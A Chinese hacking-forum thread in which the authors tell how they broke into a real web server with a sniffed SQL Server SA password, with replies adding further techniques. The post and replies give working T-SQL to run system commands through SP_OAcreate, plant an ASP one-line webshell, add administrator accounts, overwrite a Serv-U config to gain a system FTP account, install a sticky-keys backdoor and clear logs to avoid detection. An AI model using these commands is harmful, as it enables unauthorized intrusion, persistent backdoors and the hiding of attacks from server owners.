39 12
发新话题
打印

[原创]用存储过程一样搞定服务器

[原创]用存储过程一样搞定服务器

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:小志 &伤心的鱼

正文:

前几天在搞一个站的时候嗅到了一个SA密码 但是用sql tool连上之后发现怎么也不能执行DOS命令
郁闷了 今天突然想到可以用存储过程来搞定这个服务器~

首先在本地用sql server的查询分析器连上他 权限当然是SA啦
但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一样的错误 看来xp_cmdshell确实不能用

错误消息
50001,级别 1,状态 50001
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
可能是某个相关的DLL文件被删除了

如图1

看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令

在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'

这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了
提示命令完成成功 说明SP_OAcreate并没有被删除 我们用终端连一下
如图2
图3



居然提示密码错误?难道是wscript.shell被删了?其实这里的判断只是经验而你 你要问我怎么判断服务器是做了密码策略还是wscript.shell被删 我只能告诉你这是经验而已

虽然wscript.shell被删了 但是我们还是有FSO嘛。 先试着列下目录 找到WEB目录搞个SHELL再说

使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录 发现完全可以列目录

列目录没问题了 然后偶查看D盘的时候发现有D:\web这个目录 随便找一个网站在IE里打看发现存在这个网站  然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用他 因为有SA嘛 也不用去备份了 直接写个一句话进去
语句如下
exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
exec sp_makewebtask &#39;d:\web\www.XXXX.com\XX.asp&#39;,&#39;select&#39;&#39;<%execute(request("SB"))%>&#39;&#39; &#39;
提示命令执行成功偶们看看效果
如图4
如图5


看来小马写进去鸟~ 一点没问题 剩下的就是写入大马啦 然后提权之~ 哈哈 但是意想不到的事情又发生了
NND竟然不让我传大马 我日 提示ADODB.Stream 错误 &#39;800a0bbc&#39; 写入文件失败。 然后换了N个目录都写不进去
然后我又列出来其他的目录写小马进去 但是都传不了大马 看来管理员把整个WEB目录都设置成了只读
如图6


NND我都有SA了还不信搞不定这个服务器 差点忘记了还可以用沙盘 嘿嘿 看来一着急脑子就乱
查询分析器里执行select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;
;database=c:\windows\system32\ias\ias.mdb&#39;,
&#39;select shell("cmd.exe /c net user admin admin1234 /add")&#39;)来利用沙盘来添加个管理员 但是事实告诉我 我的RP并不好
如图7


既然沙盘也不行 那就另寻出路吧
刚才列目录的时候好象看见了Serv-U6.3 但是使用exec master.dbo.xp_subdirs &#39;d:\Serv-U6.3&#39;的时候发现看不到文件夹里的内容 不过没关系~ 偶们不是有一句话么。虽然没有写的权限 但是读的权限总改有吧 直接在一句话里查看目录就OK了 虽然能看目录 但是用ASP馬,也不能讀出SERV——U配置文件来 看来还得用存储过程

如图8


既然找到了SU的目录那偶就想能不能利用一句话写配置信息到ServUDaemon.ini里 然后利用SU来提权 但是事实证明这个破站权限太牛X了 只能看不能写 不过没关系 偶们还可以利用存储过程
嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @o out
exec sp_oamethod @o, &#39;opentextfile&#39;, @f out, &#39;d:\Serv-U6.3\ServUDaemon.ini&#39;, 1
exec @ret = sp_oamethod @f, &#39;readline&#39;, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, &#39;readline&#39;, @line out
end
这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去?
直接写一个系统权限的FTP帐号 进去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @o out
exec sp_oamethod @o, &#39;createtextfile&#39;, @f out, &#39;d:\Serv-U6.3\ServUDaemon.ini&#39;, 1
exec @ret = sp_oamethod @f, &#39;writeline&#39;, NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都要写上去》

然后执行一下 成功执行 我们再用存储过程看看写进去没有

如图9

OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的FTP 然后偶们在FTP里执行
quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用3389连一下 成功地到服务器权限

然后偶们再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 来清理掉SQL日志 免的被管理员发现
整个的提权过程大部分都是用存储过程来完成的。其实这些东西在以前提权的时候都没有想到。
感觉这个思路很不错 所以写出来 各位大牛见笑了


如图10
www.hack521.cn

TOP

请问:
复制内容到剪贴板
代码:
DECLARE @shell INT EXEC SP_OAcreate &#39;wscript.shell&#39;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&#39;run&#39;,null, &#39;C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add&#39;
可以详细解释下么?具体的每个语法,偶不懂。

再请问:
复制内容到剪贴板
代码:
exec master.dbo.xp_subdirs &#39;d:\web\[url]www.xx.com[/url]&#39;;
exec sp_makewebtask &#39;d:\web\[url]www.XXXX.com[/url]\XX.asp&#39;,&#39;select&#39;&#39;<%execute(request("SB"))%>&#39;&#39; &#39;
可以说明下为什么要写第一句么?偶也不懂,还有第二句的单引号貌似多了?没多?不清楚。
复制内容到剪贴板
代码:
select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;
;database=c:\windows\system32\ias\ias.mdb&#39;,
&#39;select shell("cmd.exe /c net user admin admin1234 /add")&#39;)
看样子是用 openrowset 来执行连接数据库的命令,然后再进行查询,那,“沙盘”是啥意思?
复制内容到剪贴板
代码:
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @o out
exec sp_oamethod @o, &#39;opentextfile&#39;, @f out, &#39;d:\Serv-U6.3\ServUDaemon.ini&#39;, 1
exec @ret = sp_oamethod @f, &#39;readline&#39;, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, &#39;readline&#39;, @line out
end
这圈圈OO的啥意思?解释下行么?偶不懂。主要是 @ 这个东西。

最后最后问下,“存储过程”?哪里用到了,么有看到,就看到你本地连SQL,还有用一句话查文件了。。

偶很菜,请教请教。偶么有装B,么要BS我。。
很好.

TOP

苍天可见!我难得不装B一次,真心请教阁下,居然BS我。。不理你了,我自己GOOGLE去。。

PS:这半年来连 UE Editplus 都不曾碰过,唯一一次看代码还是那天在黑X你也在的时候才忍不住去LOOK的。。我落后咯。。
很好.

TOP

杂不试下这个呢: c:\windows\system32\ias\dnary.mdb

我用沙盒模式的时候就遇到过,一个可以正常加用户,一个则不可以。不解~

所以用沙盒模式的时候我通常一个不成功就换一个试下。

不过这东西也得看人品了,你要是人品没我的这么容易爆发也没必要试了~~
昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯

TOP

引用:
引用第4楼小蟑螂于2007-11-28 22:52发表的 :
To Bink
佛曰:唯装B所现,唯装B所变。施主,你又装B了,阿弥陀佛.
老纳的处女贴就水给你个贱B了.
无技术性回复,你丫的ID估计这辈子只能发这么一贴咯。哈哈。。。

PS: 还是么有告诉我啥叫沙盒。。
很好.

TOP

我一般搞到沙河那步   就没办法继续下去了
 沙河原理 请GOOGLE  哈哈
wowo

TOP

针对BINK这种比较装B的人 大家一致采取鄙视的态度对待
www.hack521.cn

TOP

GOOGLE 找不到“沙盒”
能找到“沙河模式”“沙河测试”等。。但与计算机无关。。。
很好.

TOP

此站给我SA帐户密码我一秒钟搞定 xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
此错误不是储存过程被删了
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

应该是某个DLL被删了 猪老大是不是又更好的办法 分享下啊~~
www.hack521.cn

TOP

不是DLL被删.被删不是这样子的...
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)

看样子已经是CreateProcess执行失败撒..进程无法创建..
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

猪老大有什么解决方案拿出来啊~~ 大不了下回来北京了我请你喝酒 丰初拿钱 咋样 哈哈XXXXX

ASM叔叔有啥好办法
www.hack521.cn

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

其实很简单,那个错误是明明写着进程无法创建,而xp_cmdshell 是执行什么J8进程应该懂吧,CMD这个J8进程无法创建!有可能CMD设置权限拒绝SYSTEM访问,有可能是CMD删除或者改名.以上情况都可以造成CMD进程无法创建.. 至于解决办法我想不说你们也懂了.
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

如果xp_regwrite 这个存储在的话,也可以直接拿到服务器权限的。

5次shift 后门,开了3389 一样方便搞定它

TOP

<%execute(request("SB"))%>

这个就是大马啊!还往里面写什么啊!

TOP

回楼上 不太喜欢用一句话, 另外虽然一句话也相当于一个大马 但是用起来不是很舒服

好多功能很麻烦
www.hack521.cn

TOP

PS:小强终于被扼杀了,哎,可怜的家伙,跟小帅一样的结果。又为邪八埋没了两个难得的后起之秀。

至于那个一句话做大马,为虾米不用一句话做大马呢?因为一句话始终是一句话,每次操作都需要本地发送代码到服务器端,服务器再执行返回结果,这样很费时间的,对于入侵这种可能争分夺秒的事情,能够最大限度的提高速度进行你要做的操作,然后迅速的清理痕迹是相当重要的。
很好.

TOP

小强同学终于被扼杀在摇篮里了。

回18楼 xp_regwrite 是不存在的 不然早OK了
www.hack521.cn

TOP

CMD权限被限制了,这样的提示。。。

TOP


国内某NX组织发布MSSQL存储过程注入一个,貌似可以xxx额..

此SA鉴定为100% SA绝非阉割版.

对于非阉割的SA方法巨多,请深入理解权限二字.

对于解决cmd.exe权限问题的猪方法有一下几种
1,重设他的权限
2,直接删掉他,他自动恢复后就是默认权限,可以xx
3,tftp一个东西上去,然后xxx
4,可以绕过cmd.exe加用户
5找一只id为0x208的猪来给你搞 .
20字节够写什么?

TOP

偶提交的主题不给通过..郁闷只能来这里发..
哎无奈啊以后不鸟发文章了,可能是我发的东西垃圾吧


有了sa但无xp_cmdshell ,怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块,反正我遇到好多次了。在用exec sp_oacreate &#39;wscript.shell&#39;也没办法的情况下。。可用此方法
(很多服务器都把&#39;wscript.shell&#39;给删了。)
看到既然能用sp_oacreate,sp_oamethod来弄&#39;wscript.shell&#39;或者scripting.filesystemobject
网上看到的文章都只有几个用法就是&#39;wscript.shell&#39;执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制,删除文件吧。。
上网找了些资料。得到下面方法
复制文件:
declare @o int
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @o out
exec sp_oamethod @o, &#39;copyfile&#39;,null,&#39;c:\windows\explorer.exe&#39; ,&#39;c:\windows\system32\sethc.exe&#39;;

declare @oo int
exec sp_oacreate &#39;scripting.filesystemobject&#39;, @oo out
exec sp_oamethod @oo, &#39;copyfile&#39;,null,&#39;c:\windows\system32\sethc.exe&#39; ,&#39;c:\windows\system32\dllcache\sethc.exe&#39;;

成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理” 用户管理直接加用户。。。。
此法随无技术可言,希望对某些人有点用。
PS:高手能否把Shell.Application 这个也调用呢?希望多多指点

TOP

如果是sa ,何不自己加一个dll扩展?一切OK

TOP

楼上讲的得轻松。。。
dll哪来??? FTP去下???除非你有个cmdshell,否则不要告诉我写ftp脚本然后用ftp -s去你的FTP服务器去下那个鸟dll。
话又说回来,真的有个cmdshell的话,就直接去加用户开终端了。。还添加个毛dll扩展存储。。

TOP

 39 12
发新话题